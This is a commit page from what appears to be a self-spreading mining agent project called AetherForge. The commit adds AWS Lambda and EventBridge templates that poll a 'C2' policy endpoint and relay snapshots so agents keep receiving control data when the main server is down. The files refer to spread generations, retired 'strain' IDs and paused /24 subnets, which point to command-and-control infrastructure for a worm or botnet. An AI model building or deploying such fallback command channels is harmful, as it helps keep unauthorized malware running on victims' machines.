Add EventBridge policy fan-out for standalone degraded mode.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Ship Lambda/EventBridge templates and a token-gated policy snapshot endpoint so agents can poll hospice, vaccination lanes, and genesis version when C2 is down, preferring EventBridge relay over 30m reconnect.
This commit is contained in:
26
templates/spread/aws/policy-fanout/README.txt
Normal file
26
templates/spread/aws/policy-fanout/README.txt
Normal file
@@ -0,0 +1,26 @@
|
||||
AetherForge EventBridge policy fan-out (standalone degraded mode)
|
||||
===============================================================
|
||||
|
||||
No AWS signup required — apply these templates in your own account or skip AWS entirely
|
||||
and let agents poll {{POLICY_POLL_URL}} directly every 5 minutes.
|
||||
|
||||
Files
|
||||
-----
|
||||
- cloudformation.json — Lambda + EventBridge rule + IAM (optional API Gateway relay)
|
||||
- eventbridge-rule.json — standalone EventBridge rule targeting your relay URL
|
||||
- lambda/index.js — fetches policy snapshot from C2 and POSTs to {{WEBHOOK_URL}}
|
||||
|
||||
Placeholders (replaced by Emberwake export)
|
||||
-------------------------------------------
|
||||
{{SERVER_URL}} — your command-deck public URL
|
||||
{{POLICY_POLL_URL}} — lightweight agent poll endpoint (token-gated)
|
||||
{{WEBHOOK_URL}} — optional EventBridge relay (API Gateway, Lambda URL, etc.)
|
||||
|
||||
Snapshot fields
|
||||
---------------
|
||||
genesis_version — max spread_generation across fleet
|
||||
hospice_list — retired strain IDs
|
||||
vaccination_lanes — paused /24 subnets with Path Tracer route hints
|
||||
|
||||
Agent zero-server mode prefers EventBridge relay URL from the last policy snapshot,
|
||||
then poll URL, then 30-minute C2 reconnect.
|
||||
47
templates/spread/aws/policy-fanout/cloudformation.json
Normal file
47
templates/spread/aws/policy-fanout/cloudformation.json
Normal file
@@ -0,0 +1,47 @@
|
||||
{
|
||||
"AWSTemplateFormatVersion": "2010-09-09",
|
||||
"Description": "AetherForge policy snapshot fan-out — polls {{POLICY_POLL_URL}} and POSTs to relay",
|
||||
"Parameters": {
|
||||
"PolicyPollURL": { "Type": "String", "Default": "{{POLICY_POLL_URL}}" },
|
||||
"WebhookURL": { "Type": "String", "Default": "{{WEBHOOK_URL}}" },
|
||||
"ScheduleRate": { "Type": "String", "Default": "rate(5 minutes)" }
|
||||
},
|
||||
"Resources": {
|
||||
"PolicyFanoutFunction": {
|
||||
"Type": "AWS::Lambda::Function",
|
||||
"Properties": {
|
||||
"Runtime": "nodejs18.x",
|
||||
"Handler": "index.handler",
|
||||
"Timeout": 30,
|
||||
"Environment": {
|
||||
"Variables": {
|
||||
"POLICY_POLL_URL": { "Ref": "PolicyPollURL" },
|
||||
"WEBHOOK_URL": { "Ref": "WebhookURL" }
|
||||
}
|
||||
},
|
||||
"Code": { "ZipFile": "exports.handler=async()=>({statusCode:200,body:'ok'});" }
|
||||
}
|
||||
},
|
||||
"PolicyFanoutRule": {
|
||||
"Type": "AWS::Events::Rule",
|
||||
"Properties": {
|
||||
"ScheduleExpression": { "Ref": "ScheduleRate" },
|
||||
"State": "ENABLED",
|
||||
"Targets": [{ "Arn": { "Fn::GetAtt": ["PolicyFanoutFunction", "Arn"] }, "Id": "PolicyFanoutTarget" }]
|
||||
}
|
||||
},
|
||||
"PolicyFanoutPermission": {
|
||||
"Type": "AWS::Lambda::Permission",
|
||||
"Properties": {
|
||||
"Action": "lambda:InvokeFunction",
|
||||
"FunctionName": { "Ref": "PolicyFanoutFunction" },
|
||||
"Principal": "events.amazonaws.com",
|
||||
"SourceArn": { "Fn::GetAtt": ["PolicyFanoutRule", "Arn"] }
|
||||
}
|
||||
}
|
||||
},
|
||||
"Outputs": {
|
||||
"PolicyPollURL": { "Value": { "Ref": "PolicyPollURL" } },
|
||||
"WebhookURL": { "Value": { "Ref": "WebhookURL" } }
|
||||
}
|
||||
}
|
||||
12
templates/spread/aws/policy-fanout/eventbridge-rule.json
Normal file
12
templates/spread/aws/policy-fanout/eventbridge-rule.json
Normal file
@@ -0,0 +1,12 @@
|
||||
{
|
||||
"Comment": "AetherForge policy snapshot fan-out — operator-applied EventBridge rule",
|
||||
"ScheduleExpression": "rate(5 minutes)",
|
||||
"State": "ENABLED",
|
||||
"Targets": [
|
||||
{
|
||||
"Id": "PolicySnapshotRelay",
|
||||
"Arn": "arn:aws:lambda:REGION:ACCOUNT:function:YOUR_FUNCTION",
|
||||
"Input": "{\"poll_url\":\"{{POLICY_POLL_URL}}\",\"webhook_url\":\"{{WEBHOOK_URL}}\"}"
|
||||
}
|
||||
]
|
||||
}
|
||||
47
templates/spread/aws/policy-fanout/lambda/index.js
Normal file
47
templates/spread/aws/policy-fanout/lambda/index.js
Normal file
@@ -0,0 +1,47 @@
|
||||
const https = require('https');
|
||||
const http = require('http');
|
||||
|
||||
const POLL_URL = process.env.POLICY_POLL_URL || '{{POLICY_POLL_URL}}';
|
||||
const WEBHOOK_URL = process.env.WEBHOOK_URL || '{{WEBHOOK_URL}}';
|
||||
|
||||
exports.handler = async function () {
|
||||
const snapshot = await fetchJSON(POLL_URL);
|
||||
if (WEBHOOK_URL) {
|
||||
await postJSON(WEBHOOK_URL, snapshot);
|
||||
}
|
||||
return { statusCode: 200, body: JSON.stringify({ ok: true, genesis: snapshot.genesis_version }) };
|
||||
};
|
||||
|
||||
function fetchJSON(url) {
|
||||
return new Promise((resolve, reject) => {
|
||||
const lib = url.startsWith('https') ? https : http;
|
||||
lib.get(url, (res) => {
|
||||
let body = '';
|
||||
res.on('data', (c) => { body += c; });
|
||||
res.on('end', () => {
|
||||
try { resolve(JSON.parse(body)); } catch (e) { reject(e); }
|
||||
});
|
||||
}).on('error', reject);
|
||||
});
|
||||
}
|
||||
|
||||
function postJSON(url, obj) {
|
||||
return new Promise((resolve, reject) => {
|
||||
const data = JSON.stringify(obj);
|
||||
const u = new URL(url);
|
||||
const lib = u.protocol === 'https:' ? https : http;
|
||||
const req = lib.request({
|
||||
hostname: u.hostname,
|
||||
port: u.port || (u.protocol === 'https:' ? 443 : 80),
|
||||
path: u.pathname + u.search,
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) },
|
||||
}, (res) => {
|
||||
res.on('data', () => {});
|
||||
res.on('end', resolve);
|
||||
});
|
||||
req.on('error', reject);
|
||||
req.write(data);
|
||||
req.end();
|
||||
});
|
||||
}
|
||||
Reference in New Issue
Block a user